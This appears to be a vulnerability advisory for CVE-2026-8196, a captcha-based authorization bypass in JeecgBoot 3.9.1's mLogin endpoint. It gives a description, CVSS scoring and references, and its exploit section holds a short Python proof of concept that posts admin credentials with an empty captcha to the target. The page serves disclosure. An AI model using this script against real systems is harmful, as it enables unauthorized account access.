CVE-2026-8196

Description

A flaw has been found in JeecgBoot 3.9.1. The impacted element is an unknown function of the file jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/controller/LoginController.java of the component mLogin Endpoint. This manipulation causes authorization bypass. The attack is possible to be carried out remotely. The attack is considered to have high complexity. The exploitability is regarded as difficult. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

JeecgBoot 3.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
target_url = "http://target-ip/sys/mLogin"

# Payload data bypassing captcha verification
payload = {
    "username": "admin",
    "password": "password123",
    "captcha": "" # Bypass by sending empty or specific bypass string
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200 and "token" in response.text:
        print("[+] Exploit successful! Authorization bypassed.")
    else:
        print("[-] Exploit failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8196
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8196
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8196/
[4] VulDB https://vuldb.com/cve/CVE-2026-8196
[5] https://github.com/xpp3901/CVE_APPLY/tree/main/V-009_mLogin_Captcha_Bypass
[6] https://vuldb.com/submit/803529
[7] https://vuldb.com/vuln/362348
[8] https://vuldb.com/vuln/362348/cti

Raw JSON Data

JSON

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